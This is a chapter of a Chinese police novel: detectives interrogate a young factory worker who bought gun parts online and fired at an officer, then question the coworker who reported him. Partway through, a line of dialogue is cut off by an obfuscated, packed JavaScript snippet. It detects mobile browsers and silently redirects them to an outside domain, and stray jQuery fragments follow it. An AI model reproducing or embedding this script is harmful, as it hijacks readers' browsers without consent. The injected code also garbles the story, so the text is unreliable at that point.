直到赵树军进入审讯室，坐在审讯椅上，他才紧张起来，或许是因为这个环境，也或许是想到未来自己将面对什么，他止不住地颤抖，牙齿也打着颤，说话哆哆嗦嗦，此刻他的形象也终于和梁主任以及他的室友们的描述重合。
内向，怯懦，自卑，抗压力差，这些都在眼前的赵树军身上具象化了。
“你不用紧张，实话实说就好。”叶锦书见审讯有些难以推进，语气也放柔和了一些。
赵树军点点头，用力吸了吸鼻子，抽噎着开口：“论坛……叫‘军事迷’，服务器在境外，里面除了中国人会发帖，也有外国人会发帖，但我看不懂外语，也没法交流，只能看他们发的图片……枪是从台省发货的，分批次寄的零件，我自己组装的，尝试过空枪能不能射击，但装弹后从来没有开过枪……”
“所以今天是第一次开枪？”叶锦书顺势追问。
赵树军一怔，看向冉季，冉季面无表情，敲打着键盘，记录叶锦书的发问。
“是……”他回答。
冉季的手指放在键盘上，并没有按下去，他看向赵树军，只见赵树军垂下眼，小声说：“对不起……我当时太害怕了，我的室友都被梁主任叫出去问话了，他们回来的时候都在看我，我觉得很不对，就想逃，结果梁主任叫住我，我就更紧张了……”
“有人追你，你为了逃走，就可以拔枪射他？”叶锦书厉声质问。
“我……我看到他从上面跳下来挡住了去路，我太震撼了，我是想要吓退他，结果他也有枪……”赵树军解释了一半，最后露出一个苦笑，里面似乎还带有几分对冉季的歉疚，“我当时以为他一定会开枪……”
“然后呢？”叶锦书不给他喘息的机会。
“我……对不起……”赵树军看向冉季，“还好你没有受伤。”
“扣动扳机的时候不想后果，事后来道歉，庆幸对方没有受伤，是不是太晚了一点？”叶锦书的表情很严肃。
赵树军深吸一口气，又看向叶锦书，郑重道：“是的，我现在非常后悔，也认识到了错误，我愿意承担这个行为的后果，都是我不对。”
冉季叹了一口气，叶锦书敏锐地察觉到了，于是又问赵树军：“你开枪前知道他是警察吗？”
“嗯，警官开口对我说的第一句话，就已经报上了自己的身份。”
“持枪拒捕……”叶锦书挑眉，“量刑可不轻哦。”
“叶队……”冉季小声叫叶锦书，叶锦书只扫了他一眼，他就懂事地闭嘴了。
“自己犯的错，就应该承担，而不是等到连累其他人，让事情变得更严重，再去承担，反正到时候，结果也一样，说不定还会更重……”赵树军回答，似乎这是从另一件事里吸取到的经验教训，最后他深吸一口气，承认道，“是我做错了。”
“认罪态度好，并且没有造成不良后果，应该会酌情从轻判罚，你的做法很正确，”叶锦书对赵树军积极的认罪态度表现出了肯定，继续问讯，“说说看，你为什么要在网上买|枪？”
“因为我喜欢枪，小时候我想当军人，但是因为残疾，不能参军，我……书读得不好，没什么文化，我觉得外面可能赚的钱会多一点，就出来了，找了现在的工作，包吃包住，其实挺好的，钱我都攒起来，寄给家里一些，留下的，就买点模型。”
“模型也是在论坛买的？”
“模型就是在购物网站上买的，后来收到了一条系统发的短信，让我加入‘军事迷’论坛，平时我都不会理会这些垃圾短息，但那天不知道怎么的，想着进去看看也没有损失，就点了进去，看到了这个论坛。”
“你之前在这个论坛上买过其他的枪吗？”
像是被人戳到痛处，赵树军哽了一下，点头说：“之前还买过一次，但我被骗了……那个卖家是个骗子，他就发给我了一块鹅卵石，快递公司联系不上他，通过论坛也联系不上他了，还有其他人被骗，管理员封了他的号，就更联系不上他了，”说着赵树军流下眼泪，“我攒了好久的五千块……就这么打水漂了……我又不敢报警……”
这话和从门卫和快递员那里得到的信息基本吻合，这件事他没有说谎。
“虽然有买|枪的行为，但是最后收到的不是枪，你是受害方，对方违法，无论是出售|枪支还是诈骗，你当时就应该报警的。”
“我不敢……”
“然后呢，在这个论坛被骗过，你还继续买？”
“这个买家，我是看到有人在下面跟帖评论收到货了，观望了一阵，如果他是骗子，管理员应该也会封号……”
“喜欢枪，买模型就好，为什么非要买‘真枪’呢？”叶锦书又问。
“我也不知道，可能我鬼迷心窍了吧……看到别人都有真东西，在论坛待久了，自然而然地觉得我也该有，而且我以为，有了枪，就不会被人看不起了。”
“你指的是谁？谁看不起你了？”
听到叶锦书这个问题，赵树军才后知后觉，他想象中的看不起自己的人都是自己假想出来的存在，梁主任是领导，他不只是对自己这样，他对所有人都是这副高高在上的说教模样，而自己的室友，即使面对警察，面对梁主任，也积极地想要替自己说话，因为自己的疏忽导致产品不合格的事后，同一条流水线上的工友们也都清楚问题出在自己，可他们却保持沉默愿意帮自己隐瞒。
从头到尾，都只是自己的自卑心在作祟，自己才是最看不起自己的那个人。
“万光先吗？”叶锦书试探着开口，同时关注着赵树军的表情变化。
听到这个名字，赵树军一愣，茫然之后回过神来，诧异道：“阿光？阿光没有看不起我啊，他还总来找我带他游戏上分……”这是下意识的回答，说完他才想起来，自己和万光先已经绝交了，又连忙解释，“我和阿光吵架的事，是我不对，阿光是直肠子，梁主任为了找出是谁出了问题，诈我们，就阿光中招了，我当时是很生气，说了气话，但冷静下来一想，本来错就在我，是我连累了大家，我不会因为这个伤害阿光的…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402184|168741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
*
走出审讯室带上门，冉季就迫不及待地开口求情：“叶队，赵树军认罪态度那么好，他也认识到自己的错误了，他是开枪了，但是没有伤到我，他也不是故意的，可不可以，不要按照持枪拒捕……”
话还没说完，额头就挨了领导一记脑门儿，冉季龇了龇嘴，差点没咬到舌头。
“小季，改改你的圣母毛病，”叶锦书严肃道，“你现在看到的这个人，他对你说的话，表现出来的一切，都有可能只是他的伪装，课本上的知识都忘了？要‘不惮以最坏的恶意’揣测他人，我们是警察，我们只负责抓住嫌犯，收集证据，交给检方，最终判定他是什么罪，怎样判罚，是法院说了算。”
“我……”冉季还想说话，叶锦书就打断他：“那我问你，今天相同的情况，如果我和你位置互换，他开枪射击的对象是我，就算没有打中，你还能保持你现在的想法吗？如果这样认定，你觉得对我是公平的吗？”
冉季哑口无言，自己能够在这件事上得出和叶锦书完全不同的结论，是因为赵树军开枪射击的对象是自己，但自己的原谅并不能够否认客观事实的存在，是自己把“个人意志”和“客观事实”杂糅在了一起，才会导致结论的偏差。
“做好你分内的工作，你能想到的，律师也会想到，能够开脱的，律师自会替他开脱，”叶锦书说着，露出一个嘲讽的笑来，“等你在这个位置上待久了，遇到钻法律空子逃脱制裁的‘罪犯’多了，你应该，就会改观了。”
说话间，叶锦书按下门把，推开了审讯室的门，坐在里面的是万光先，他不是嫌犯，没有上铐，但也还是乖乖坐着。
兴许是滨海分局的审讯室和黄杏街派出所的谈话室完全不同，让他感到紧张，也可能是因为来到这里之前，他接到了工友们有关今天抓捕的小道情报，意识到事情的严重性，他脸上的紧张不再是担心被杀，而是对赵树军此刻处境深深的担忧。
“叶警官、冉警官，那个……阿军……不是，赵树军，这个，很严重吗？我、我只是想让你们收了他的枪，再教育他一下……他、这个，难道真的要坐牢？”
“嗯，是的，”叶锦书给了他肯定答案，拉开椅子坐了下来，“现在你已经安全了，我们做个笔录，你就可以回去。”
“不是……我，那我可以撤销吗？我不想举报他了！”
“你的举报没有错，”叶锦书严肃道，“赵树军的确是持有来路不明的枪支，并且他今天因为遇到突发状况开了枪，我们很感谢你提供了这条情报，他今天开枪没有伤人，这已经是不幸中的万幸，这也暴露了一个很大的问题，他的情绪并不稳定，如果你不举报，下一次遇到冲突，他很有可能做出冲动的事情，到时候致人受伤或者死亡，都是比现在更严重的后果，你没有害他，是你救了他。”
听完这话，万光先后背一软，靠回椅背，像是蔫了气。
冉季也拉开椅子坐下，他知道，叶锦书这话不止是说给万光先听的，也是说给自己听的。